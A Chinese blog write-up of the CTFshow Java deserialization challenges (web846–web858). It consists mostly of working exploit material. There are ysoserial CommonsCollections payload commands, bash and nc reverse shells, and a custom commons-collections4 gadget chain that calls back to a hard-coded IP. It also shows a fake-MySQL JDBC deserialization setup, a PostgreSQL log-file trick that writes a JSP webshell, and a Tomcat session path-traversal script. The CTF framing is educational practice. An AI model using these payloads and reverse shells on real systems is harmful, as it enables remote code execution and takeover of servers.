CTFSHOW web入门 java反序列化篇(更新中)

ctfshow-反序列化 ctfshow、反序列化 阅读详情
AI摘要

本文详细介绍Java反序列化漏洞的原理与利用方法,通过实际案例演示如何构造payload进行攻击,涉及工具使用及多种场景下的具体操作。


在做这部分题前,推荐大家先去学习下java反序列化,尤其是CC链
可以看下两个系列视频,收获颇多
https://space.bilibili.com/2142877265/channel/collectiondetail?sid=29805&ctype=0

https://www.bilibili.com/video/BV16h411z7o9/?spm_id_from=333.999.0.0&vd_source=23c2bbe4623ae526416ea7a1ec4679fc
从这部分开始看即可
在这里插入图片描述
下面大部分题目需要用到ysoserial工具。
工具下载地址链接: https://pan.baidu.com/s/1Sx61GihwHtDsaDXbL7Q7uQ?pwd=jt5w
也可下载源码自行构建
https://github.com/frohoff/ysoserial

记得base64编码后的payload再url编码一次

web846

URLDNS链
java -jar ysoserial.jar URLDNS "题目地址"|base64

web847

在ysoserial中cc1、cc3、cc5、cc6、cc7对应的commons-collections:3.1
cc2、cc4对应的commons-collections4:4.0
所以在3.1中随便挑一个运行反弹shell即可。
payload

java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,要执行命令的base64编码}|{base64,-d}|{bash,-i}"|base64 

这里使用bash反弹
bash -i >& /dev/tcp/x.x.x.x/xxxx 0>&1

web848

题目中提示不准用TransformedMap类反序列化
导致cc1无法使用更换其他的即可。
payload

java -jar ysoserial.jar CommonsCollections3 "bash -c {echo,要执行命令的base64编码}|{base64,-d}|{bash,-i}"|base64 

web849

首先只能使用cc2或者cc4,并且题目提示需要nc反弹。
那么把命令改成nc ip port -e /bin/sh
payload

java -jar ysoserial.jar CommonsCollections2 "nc ip port -e /bin/sh "|base64 

web850

cc3可用

java -jar ysoserial.jar CommonsCollections3  "bash -c {echo,要执行命令的base64编码}|{base64,-d}|{bash,-i}"|base64

web851-web853

直接用工具打不通了,这里采用的方法是基于cc7改的,改成了适用于commons-collections4的链子

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"nc 1.15.153.196 4567 -e /bin/sh"})
        };
        Transformer transformerChain2 = new ChainedTransformer(transformers);

        //使用Hashtable来构造利用链调用LazyMap
        Map hashMap1 = new HashMap();
        Map hashMap2 = new HashMap();
        Class<DefaultedMap> d = DefaultedMap.class;
        Constructor<DefaultedMap> declaredConstructor = d.getDeclaredConstructor(Map.class, Transformer.class);
        declaredConstructor.setAccessible(true);
        DefaultedMap defaultedMap1 = declaredConstructor.newInstance(hashMap1, transformerChain2);
        DefaultedMap defaultedMap2 = declaredConstructor.newInstance(hashMap2, transformerChain2);

        defaultedMap1.put("yy", 1);
        defaultedMap2.put("zZ", 1);
        Hashtable hashtable = new Hashtable();
        hashtable.put(defaultedMap1, 1);
        hashtable.put(defaultedMap2, 1);
        defaultedMap2.remove("yy");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashtable);
        String payload = new String(Base64.getEncoder().encode(baos.toByteArray()));
        System.out.println(payload);

当然你也可以基于cc1、cc3、cc5、cc6来改。

web855

内容比较多,单独写了个https://blog.youkuaiyun.com/miuzzx/article/details/128303093

web856

考的jdbc反序列化,以及相关工具的使用
工具下载地址:https://github.com/fnmsd/MySQL_Fake_Server
工具默认开启一个fake mysql,端口为3306。为了防止和本地的mysql冲突,可以改成3307
在这里插入图片描述

最终构造如下地址即可
jdbc:mysql://vps地址:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_Jdk7u21_calc
我们要调用的链子是放到user上的
比如我们要使用cc4链子执行calc命令,那么user的值为yso_CommonsCollections4_calc
还有一种方法就是修改工具文件夹里面的config.json
在这里插入图片描述
改成上述内容后,我们传入user=yu22x 即可利用cc4链执行calc
我们将命令改成nc反弹shell
nc ip port -e sh
最后就是构造序列化链了

        Connection connection = new Connection();
        Class<? extends Connection> aClass = connection.getClass();
        Field host = aClass.getDeclaredField("host");
        host.setAccessible(true);
        host.set(connection,"你的vps地址");
        Field port = aClass.getDeclaredField("port");
        port.setAccessible(true);
        port.set(connection,3307);
        Field user = aClass.getDeclaredField("user");
        user.setAccessible(true);
        user.set(connection,new User("yu22x","123456"));  //这个地方的yu22x就是我们在config.json里面设的值
        Field schema = aClass.getDeclaredField("schema");
        schema.setAccessible(true);
        schema.set(connection,"jdbc:mysql");
        Field database = aClass.getDeclaredField("database");
        database.setAccessible(true);
        database.set(connection,"detectCustomCollations=true&autoDeserialize=true");
        Utils.Serialize(connection);
        Utils.Deserialize();
        System.out.println(Utils.Serialize_base64(connection));

web857

jdbc反序列化,postgresql
参考文章https://forum.butian.net/share/1339

麻烦的地方就是找他的路径了

        Connection connection = new Connection();
        Class<? extends Connection> aClass = connection.getClass();
        Field driver = aClass.getDeclaredField("driver");
        driver.setAccessible(true);
        driver.set(connection,"org.postgresql.Driver");
        Field host = aClass.getDeclaredField("host");
        host.setAccessible(true);
        host.set(connection,"127.0.0.1");
        Field port = aClass.getDeclaredField("port");
        port.setAccessible(true);
        port.set(connection,5432);
        Field user = aClass.getDeclaredField("user");
        user.setAccessible(true);
        user.set(connection,new User("yu22x","123456"));
        Field schema = aClass.getDeclaredField("schema");
        schema.setAccessible(true);
        schema.set(connection,"jdbc:postgresql");
        Field database = aClass.getDeclaredField("database");
        database.setAccessible(true);
        database.set(connection,"password=123456&loggerLevel=debug&loggerFile=../webapps/ROOT/c.jsp&<%Runtime.getRuntime().exec(request.getParameter(\"i\"));%>");

访问c.jsp传入i参数即可,写的木马没有回显直接反弹shell
nc ip port -e sh

web858

tomcat session 反序列化
直接查关键字就可以看到很多关于这个漏洞的介绍和利用方式,我就不再赘述了。
首先可以看到我们能够上传文件。
根据漏洞原理可知如果上传a.session,那么当JSESSIONID为a.session上层路径/a时,则会触发反序列化。
所以现在的目的就是找到反序列化点,然后上传生成的序列化字节码文件。
payload


//main.java
User user = new User();
Class<? extends User> aClass = user.getClass();
Field username = aClass.getDeclaredField("username");
username.setAccessible(true);
username.set(user,"cp /flag /usr/local/tomcat/webapps/ROOT/a.jsp");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser/a.session"));
objectOutputStream.writeObject(o);
objectOutputStream.close();
import requests 
url="http://b33e5462-11ca-45a0-81c6-c1c1dae6f6f7.challenge.ctf.show/"
files={'file':('a.session',open('a.session','rb').read(),'image/png')}
r = requests.post(url+'file/upload',files=files)
print(r.text)
r2 = requests.get(url,cookies={'JSESSIONID':'../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/upload/a'})
print(r2.text)

题目比较恶心的地方是过滤了nc和bash,貌似sh也没有。
我这里用cp将flag直接复制到了根目录下。

CTF之think_java反序列化完整案例 【代码】CTF之think_java反序列化完整案例。 阅读详情

相关推荐

CTF:记一次简单的Java反序列化题目

CTF:记一次简单的Java反序列化题目

weixin_44770698的博客 1638

CtfshowJava反序列化

发现进入URLsteamhander,他的hashcode使用了getAddress,我们最终要做的就是调用getaddress,获取DNS解析。调用hashmap最后调用的是url的hashcode方法,在最后调用getaddress。重写是子类对父类可以访问方法的重新编写,返回值和形参都不能改变,可以看到,put的时候调用了hashcode,不是-1了。,子类对象赋值给父类使用,但是不能访问在子类特有的方法。这里的初始值是-1,只有为-1才能传数据。ysoserial工具。这里使用了重写的概念。

weixin_56537388的博客 778

CTFshow Web入门1-14关实战详解:从SQL注入到文件上传

SQL注入是Web安全中最经典的基础漏洞之一,其原理在于攻击者通过构造恶意输入,篡改后端数据库查询语句的逻辑,从而窃取、篡改或破坏数据。理解其技术价值在于掌握Web应用安全的核心攻防思维,是渗透测试和代码审计的基石。在CTF竞赛和实战渗透场景中,SQL注入常与文件包含、命令执行等漏洞结合,形成完整的攻击链。本文基于CTFshow Web入门系列题目,深入剖析SQL注入、文件包含等热点的实战利用技巧,并提供详细的本地Docker环境搭建与Burp Suite工具配置指南,帮助初学者系统性地构建Web安全知识体

426

从CTF学习Java反序列化

我们可以看到cookie里面返回了Java序列化内容,带着cookie访问返回了hello {{username}}的字符,说明我们传入的cookie被反序列化了。其实看到LogHandler不能反序列化的时候,直接一口否定了他的可利用性,并没有去尝试,那么为什么不实际尝试一下呢?其实再仔细一点,可以发现这个类继承了HashSet,HashSet实现了Serializable接口,貌似可以搞事。(但是打final的时候是没有公网的,附件只有源码,需要去靶机上面把本地repo拖下来。

why811的博客 1843

CTF Web安全入门实战:文件包含、反序列化与XXE漏洞解析

Web安全的核心在于理解常见漏洞的原理与利用方式。文件包含漏洞(LFI/RFI)允许攻击者读取或执行服务器上的敏感文件,其利用常涉及PHP伪协议如php://filter读取源码或php://input执行代码。反序列化漏洞则通过控制序列化数据触发危险魔术方法,实现代码执行或文件操作,是中级Web安全的重要考点。XXE(XML外部实体注入)漏洞利用XML解析器加载外部实体,可导致文件读取、内网探测甚至远程代码执行。这些漏洞在CTF竞赛和真实渗透测试中广泛出现,掌握它们对于构建系统化安全攻防能力至关重要。本文

all00747的博客 343

Java反序列化漏洞实战:从URLDNS探测到CC6利用链深度解析

Java反序列化漏洞是Web安全领域的经典议题,其核心在于ObjectInputStream.readObject()方法在还原对象时,会递归调用对象及其成员变量的readObject方法。攻击者通过精心构造的序列化数据,利用目标Classpath中已有的类作为“跳板”,串联形成从反序列化入口到危险操作(如命令执行)的完整Gadget Chain。这一机制在Apache Commons Collections等通用库中尤为突出,因其类中的特定方法常被用于构造利用链。理解反序列化漏洞的原理,不仅有助于渗透测试

weixin_30627341的博客 352

ctfshow-java反序列化专题:持续更新...

web846-web858

Rsecret2的博客 879

反序列化漏洞深度解析:从原理到实战攻防

序列化与反序列化是编程中用于对象持久化和网络传输的核心机制,其本质是将内存中的复杂对象转换为可存储或传输的标准化格式(如JSON、二进制流),并在需要时重新构建为原始对象。这一过程通过自动调用对象的特定方法(如Java的readObject、Python的__reduce__)来实现对象的“复活”。然而,当反序列化机制设计存在缺陷,尤其是允许反序列化不受信任的数据时,攻击者可以精心构造恶意序列化数据,在目标系统还原对象的过程中触发危险方法,从而实现远程代码执行等高危操作,这构成了反序列化漏洞的核心原理。该漏

cuk0051的博客 560

Java反序列化漏洞实战:从CC链原理到CTFshow靶场利用

Java序列化与反序列化是Java对象持久化和网络传输的核心机制,其原理是将对象状态转换为字节流,并在需要时重建为原始对象。然而,当程序反序列化来自不可信源的恶意数据时,攻击者可能通过构造特殊的对象图,触发目标类库中危险方法的链式调用,从而执行任意代码,这就是Java反序列化漏洞的根源。这项技术的安全价值在于其极高的危害性,它常被用于远程代码执行,直接威胁应用服务器安全。在Web应用、RMI服务、JMX接口等场景中,若使用了存在缺陷的第三方库(如Apache Commons Collections),极易成

weixin_30920853的博客 346

Java反序列化漏洞利用:从JDBC连接到PostgreSQL命令执行

Java反序列化是Java安全领域的核心概念,其原理在于ObjectInputStream.readObject()方法在还原对象时会自动调用类中特定的方法,若这些方法存在危险操作且数据源可控,则形成安全漏洞。这项技术的安全价值在于揭示了应用层漏洞如何通过标准接口(如JDBC)横向扩展攻击面,实现跨组件攻击。在实际应用场景中,当不安全的反序列化机制与配置不当的数据库驱动结合时,攻击者可能通过构造恶意序列化对象触发JDBC连接,进而利用数据库服务端功能(如PostgreSQL的COPY ... FROM PR

weixin_34007020的博客 325

从CTF到SRC:新手如何系统学习漏洞挖掘并实现技术变现

漏洞挖掘是网络安全领域的核心技能之一,其原理在于通过模拟攻击者思维,发现软件或系统中因设计缺陷、逻辑错误或配置不当而存在的安全弱点。掌握这项技术对于构建主动防御体系、提升产品安全性具有重要价值,广泛应用于企业安全测试、渗透测试和应急响应等场景。对于初学者而言,从CTF(Capture The Flag)竞赛入手是建立系统性认知和实战能力的有效路径。CTF平台将复杂的真实漏洞抽象为可控的挑战,帮助学习者深入理解SQL注入、文件上传、SSRF等常见漏洞的成因与利用方式。通过反复练习,可以构建起漏洞模式识别能力和

cuixie2370的博客 443

网络安全入门实战:从零搭建渗透测试环境与Web漏洞攻防

网络安全作为信息技术的核心领域,其基础在于理解网络协议、系统架构与Web应用的工作原理。从TCP/IP协议到HTTP/HTTPS交互,这些底层原理构成了安全攻防的基石。在技术实现层面,渗透测试通过模拟攻击来评估系统安全性,其价值在于主动发现并修复漏洞,保障业务连续性与数据安全。常见的应用场景包括企业安全评估、漏洞挖掘与应急响应。本文聚焦于Kali Linux环境搭建与OWASP Top 10漏洞实践,通过DVWA靶场演示SQL注入、XSS等核心漏洞的攻防流程,为初学者提供从理论到实战的完整学习路径。

weixin_34221112的博客 399

零基础入门CTF:100集系统教程带你掌握网络安全攻防实战

网络安全是当今数字世界的基石,其核心在于理解系统与应用的攻防原理。从基础的网络协议、编程语言到漏洞形成机制,安全技术旨在通过模拟攻击来发现和修复潜在风险,从而提升系统防御能力。CTF(Capture The Flag)竞赛作为网络安全领域的实战演练场,将复杂的攻防技术转化为具体的解题挑战,是验证与提升安全技能的绝佳途径。对于初学者而言,一套系统性的教程至关重要,它能有效整合碎片化的知识,降低学习门槛。本教程围绕Web安全、逆向工程、密码学等核心方向,结合Kali Linux、Burp Suite等【热词:实

weixin_33701294的博客 507

Web渗透测试学习路线与核心知识体系详解

Web渗透测试是网络安全领域的重要技能,涉及从网络协议到应用漏洞的全面知识体系。理解HTTP/HTTPS协议、Cookie/Session机制等网络基础是渗透测试的地基,而SQL注入、XSS等常见漏洞的原理与防御则是核心内容。通过系统化的学习路线,如从DVWA靶场实践到参与SRC众测,可以逐步掌握渗透测试的实战能力。工具如Burp Suite和Nmap的使用需要结合原理分析,避免过度依赖自动化扫描。Web渗透测试不仅适用于安全工程师,也是开发人员提升代码安全性的重要参考。本文结合OWASP Top 10和L

weixin_42524171的博客 231

从CTF到实战:25K星标Web安全项目如何构建漏洞利用思维

在网络安全领域,漏洞利用是核心技能之一,其本质在于理解系统缺陷并构造特定输入以实现非预期行为。从原理层面看,无论是SQL注入、文件上传还是反序列化,都源于对用户输入验证或数据处理逻辑的不完善。掌握这些基础漏洞原理,对于构建安全防御体系和进行渗透测试至关重要。在工程实践中,通过结构化的实战训练,可以将抽象原理映射到具体攻击场景,例如在CTF挑战中,选手需要运用信息收集、代码审计和Payload构造等技术,将理论转化为实际利用能力。这种从概念到实战的闭环学习,能有效培养安全人员的攻击者视角和逻辑推理能力。本文聚

weixin_34026276的博客 530

CTF实战:从XXE漏洞原理到文件读取与SSRF攻击利用

XML外部实体注入(XXE)是一种常见的安全漏洞,其核心原理在于XML解析器在默认配置下会处理用户可控的外部实体引用。攻击者通过构造恶意XML数据,可操控解析器读取服务器本地文件(如/etc/passwd)或发起对外部/内部网络的HTTP请求,从而实现敏感信息泄露或服务器端请求伪造(SSRF)。在CTF竞赛和实际渗透测试中,XXE常出现在XML解析、文件上传、内容类型转换等场景。本文以ctfshow平台Web入门题为例,系统拆解了有回显文件读取、无回显数据外带、协议绕过及SSRF融合利用等实战技巧,并提供了

ainixi7099的博客 410

2026年Web安全学习路线:从零基础到精通实战

Web安全是网络安全的核心领域,涉及漏洞挖掘、防御机制和攻击技术。其基本原理包括HTTP协议分析、加密算法和常见攻击向量如XSS、SQL注入等。随着AI技术的介入,自动化渗透测试和智能防御系统正在改变传统安全攻防模式。在实际应用中,Web安全技术广泛应用于金融、电商、政务等关键领域的数据保护。Kali Linux作为主流安全工具平台,集成了最新漏洞扫描和渗透测试工具链。CTF竞赛则成为检验实战能力的重要场景,2026年赛事更强调红蓝对抗和云安全挑战。掌握Web安全技能不仅能应对企业安全需求,也是通往高薪安全

weixin_29315569的博客 270

clock-gating整理

文章目录clock gating 理解1、latch双稳态器件常见锁存器结构SR锁存器D锁存器2、clock gating(clock low-active) latch + AND gating 电路(clock high-active)latch + OR gating 电路 clock gating 理解 1、latch 参考:https://www.cnblogs.com/IClearner/p/6443539.html 双稳态器件 稳定状态为0或1两种 举例:交叉耦合反相器 假设初始Q为1,则可

d_b_的博客 1万+

Web安全攻防实战:从XSS、SQL注入到业务逻辑漏洞的全面防御指南

Web安全是构建可信网络应用的核心基石,其本质是围绕信任边界展开的持续攻防。从技术原理层面看,攻击者常利用应用程序对用户输入的过度信任,通过注入恶意代码或绕过验证机制达成攻击目的,例如跨站脚本攻击和SQL注入便是典型代表。这些漏洞不仅威胁数据机密性与完整性,更直接影响业务连续性与用户权益。在工程实践中,防御需贯彻全流程,从输入验证、输出编码到安全配置,形成纵深防御体系。其中,内容安全策略和参数化查询等关键技术能有效遏制常见攻击。随着应用架构复杂化,业务逻辑安全成为新的焦点,需结合威胁建模进行针对性防护。本文

dgqvhtlwq472235338的博客 380

win10 运行lisflood_8踩过的坑

1、安装cuda及VS2019 https://www.bilibili.com/read/cv7335974/ 2、netcdf.h头文件找不到问题 https://www.cnblogs.com/lyggqm/p/12926974.html https://blog.youkuaiyun.com/u011954296/article/details/54617048 3、编码问题 https://blog.youkuaiyun.com/qq_33485434/article/details/81196843 4、

我的笔记 4115

DC-DC拓扑:从电感位置一眼识别Buck、Boost与Buck-Boost

本文详细解析了DC-DC拓扑中电感位置对识别Buck、Boost与Buck-Boost电路的关键作用。通过对比不同拓扑的电感连接特征,提供快速识别方法和设计要点,帮助工程师避免常见错误并优化电路性能。特别强调电感位置对输出质量和效率的影响,适合电源设计人员参考。

java2000.net 372
上一篇: CTFSHOW菜狗杯 web
下一篇: CTFSHOW web入门 java反序列化篇 web855
yu22x
博客等级 码龄7年 3739粉丝 121原创
评论 3
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值